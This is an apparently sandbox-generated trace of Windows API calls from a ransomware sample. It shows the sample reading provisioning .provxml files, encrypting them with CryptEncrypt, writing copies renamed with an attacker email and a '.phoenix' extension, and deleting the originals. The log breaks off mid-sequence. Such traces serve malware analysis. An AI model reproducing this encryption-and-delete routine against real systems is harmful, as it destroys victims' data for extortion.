	[0254.887] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.888] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=779) returned 1
	[0254.888] CloseHandle (hObject=0x30c) returned 1
	[0254.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.888] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.888] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.889] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0254.889] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.889] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x30b, lpOverlapped=0x0) returned 1
	[0254.897] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0254.897] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0254.899] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0254.899] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.899] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.899] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.899] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.899] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.899] CloseHandle (hObject=0x30c) returned 1
	[0254.899] CloseHandle (hObject=0x2f4) returned 1
	[0254.899] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.900] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.900] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.901] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=892) returned 1
	[0254.901] CloseHandle (hObject=0x2f4) returned 1
	[0254.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.901] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.901] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.902] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0254.902] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.902] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x37c, lpOverlapped=0x0) returned 1
	[0254.910] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x380, dwBufLen=0x380 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x380) returned 1
	[0254.910] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x380, lpOverlapped=0x0) returned 1
	[0254.911] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0254.911] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.911] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.911] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.911] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.911] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.911] CloseHandle (hObject=0x2f4) returned 1
	[0254.911] CloseHandle (hObject=0x30c) returned 1
	[0254.911] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.912] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.913] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=704) returned 1
	[0254.913] CloseHandle (hObject=0x30c) returned 1
	[0254.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.915] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.915] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.916] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0254.916] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.916] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c0, lpOverlapped=0x0) returned 1
	[0254.928] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.928] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.929] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0254.929] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.929] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.929] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.929] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.929] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0254.929] CloseHandle (hObject=0x30c) returned 1
	[0254.929] CloseHandle (hObject=0x2f4) returned 1
	[0254.949] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.950] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.950] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.950] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=467) returned 1
	[0254.950] CloseHandle (hObject=0x308) returned 1
	[0254.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0254.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.951] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.951] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.952] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0254.952] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.952] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d3, lpOverlapped=0x0) returned 1
	[0254.953] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0254.953] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0254.954] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0254.954] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.954] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0254.954] CryptDestroyKey (hKey=0x151480) returned 1
	[0254.954] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0254.954] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.954] CloseHandle (hObject=0x308) returned 1
	[0254.954] CloseHandle (hObject=0x30c) returned 1
	[0254.954] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0254.955] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.955] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.957] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0254.957] CloseHandle (hObject=0x30c) returned 1
	[0254.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.959] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
